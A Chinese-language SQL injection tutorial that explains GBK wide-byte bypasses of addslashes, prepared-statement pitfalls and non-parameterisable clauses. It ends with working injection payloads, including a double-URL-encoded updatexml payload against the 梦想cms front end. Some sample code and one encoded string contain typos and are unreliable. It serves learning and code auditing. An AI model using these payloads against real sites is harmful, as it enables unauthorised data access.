目录
1.宽字节注入
2.预编译模式下的sql注入
3无法预编译的
1.3.1. like关键字
1.3.2.不能加单引号
4.相关实战实战
4.1.某个业务网站具有sql注入
4.2.梦想cms代码审计
5.相关参考资料
1.宽字节注入
<?php
$db=init_db();
$db->query("set SET NAMES'gbk'); //设置gbk字符集
$username = addslashes($_GET['username']); //input: admin' and 1=1#
$db->query("select* from table where username = '$username' ")
?>
这里我们可以看到在对代码层面做操作,首先有个函数addslashes,他是一种在PHP中存在的字符串处理函数,它的作用是在指定的字符前添加反斜线。这些特定的字符包括单引号(')、双引号(")、反斜线(\)以及NULL。通常用于准备一个字符串用于将数据插入到数据库中,特别是在使用旧版本的PHP或没有预处理语句时,防止SQL注入攻击。
我们输入admin' and 1=1#时,会被系统解析为select* from table where username ='admin\' and 1=1#,单引号被\拦截
但是我输入一个admin%bf' and 1=1#时,就可以绕过。执行的sql语句就为
select* from table where username ='admin縗' and 1=1#
我们输入的%bf和系统为了影响单引号闭合的“\”也就是0x5c结合,就构成了一个新的汉字“縗”
0x5c=\
0x27='
0xbf27=¿'
0xbf5c=縗
GBK编码的汉字会占据两个字节(bf是第一个而5c是第二个),当使用GBK编码遇到两个字节都符合其取值范围时,就会将其解析成为一个汉字,第一个字节取值范围为129-254,第二个字节范围为64-254
2.预编译模式下的sql注入
<?php
$username = $GET['username']; // 从GET请求中取出名为'username'的参数,将其值赋给变量$username
$db="mysql:host=127.0.0.1;dbname=test;charset=gbk"; // 定义了数据库连接的DSN(数据源名称),包括主机、数据库名和字符集
$dbname ="root"; // 数据库用户名
$passwd ="root"; // 数据库密码
$conn =new PDO($db, $dbname, $passwd); // 使用PDO对象(PHP数据对象)创建一个新的数据库连接
$conn->query('SET NAMES GBK'); // 设置客户端字符编码为GBK
$stmt = $conn->prepare("select * from table where username= :username"); // 准备一条SQL查询语句,使用命名参数":username"
$stmt->bindParam(":username", $username); // 将$username变量绑定到命名参数":username"
$stmt->execute(); // 执行该SQL查询
?>
在这里,看似可能是安全的,但是还是无法解决问题,因为在第8行的
$stmt = $conn->prepare("select * from table where username= :username");
实际上是这样子的
==>$stmt->sql ="select * from table where username='${addslashes($input)}'"
接下来的流程就和我们上述的宽字节过程一样了,
输入:admin%bf' and 1=1#
执行的sql语句就为:select* from table where username ='admin縗' and 1=1#
3无法预编译的
1.3.1. like关键字
我们知道sql语句的模糊查找里面用的关键字like,而like关键字默认是不会预编译的(如果使用Mybats则是预编译报错)。数据库方给出的原因是like预编译会造成慢查询和DOS
<?php
$username = $_GET['username'];
$db = "mysql:host=127.0.0.;dbname=test;";
$dbname ="root";
$passwd ="root";
$conn = new PDO($dbs, $dbname, $passwd);
$conn->query('SET NAMES GBK');
$stmt = $conn->prepare("select *from table where username like'%:username%'"); //不生效 这不会工作,因为带有占位符的LIKE模式不能这样使用
$stmt = $conn->prepare("select * from table where username like concat('%',:username,'%'");//生效 这则会正常工作,因为正确地通过concat拼接了模糊匹配的通配符
$stmt->bindParam(":username",$username):
$stmt->execute();
?>
很多开发人员会遗漏手动添加这个点,因而预编译未生效。
java的开发人员开发时,Mybatis编译报错,然后他们自己去添加过滤(过滤没写好)或者不过滤(使用原生语句),导致GG.与之类似的还有IN关键字,该位置也默认不能预编译,需要在预编译语法中去for循环,有些程序员为了方便,可能也会在这边偷工减料。
1.3.2.不能加单引号
我们分析一下上述一段代码
$newInput = addslashes($input)//内容转义
sql = select * from table where column = '$newInput'//强制用单引号包裹
该代码强制了改sql语句进行单引号进行闭合,
我们有下列sql语句
select $username$,password from $tables where $username2$ = '$dada$' order by $username3$ $desc$ limit $0$,l
上述红色字体都是不能接单引号的,总结就是
表名、列名、limit子句、order by(desc/asc)
很多开发可能会忽略这一点,导致存在漏洞
4.相关实战实战
4.1.某个业务网站具有sql注入
可以看到,并没有对$ip传入的值进行过滤的操作。
如下应该是定位该函数,看谁定义的这个函数,全局搜索是观察引用的函数。
realIP来源:
Server用法(获取IP):
这里我们填入以下payload
ip' union select 1,2,3,4,5#
证明有注入点就行,这里不过多展示。
4.2.梦想cms代码审计
首先来到相关页面,观察到有几个参数。
在相关提示中提示在BookAction.class.php中存在注入漏洞。
打开查看
前台存在sql注入:
跟踪filter:
这里过滤了太多东西,大小写还有正则,但是我们回到第一张图片,可以看到一个函数:urldecode(),对url解码
回到第一张图片,进入getNameDate函数:
跟踪oneModel
注入语句:
' and updatexml(0,concat(0x7e,user()),1)#
编码一次:
%61%6e%64%20%75%70%64%61%74%65%78%6d%6c%28%30%2c%63%6f%6e%a63%61%74%28%30%78%37%65%2c%75%73%65%72%28%29%29%2c%31%29
编码两次:
%25%32%37%25%32%30%25%36%31%25%36%65%25%36%34%25%32%30%25%37%35%25%37%30%25%36%34%25%36%31%25%37%34%25%36%35%25%37%38%25%36%64%25%36%63%25%32%38%25%33%30%25%32%63%25%36%33%25%36%66%25%36%65%25%36%33%25%36%31%25%37%34%25%32%38%25%33%30%25%37%38%25%33%37%25%36%35%25%32%63%25%37%35%25%37%33%25%36%35%25%37%32%25%32%38%25%32%39%25%32%39%25%32%63%25%33%31%25%32%39%25%32%33
两次url编码,利用成功
5.相关参考资料
奇安信攻防社区-SQL注入&预编译
https://codeantenna.com/a/WzaLCig9qw
https://codeantenna.com/a/WzaLCig9qw
奇安信攻防社区-梦想cms漏洞合集
奇安信攻防社区-梦想cms二次注入漏洞分析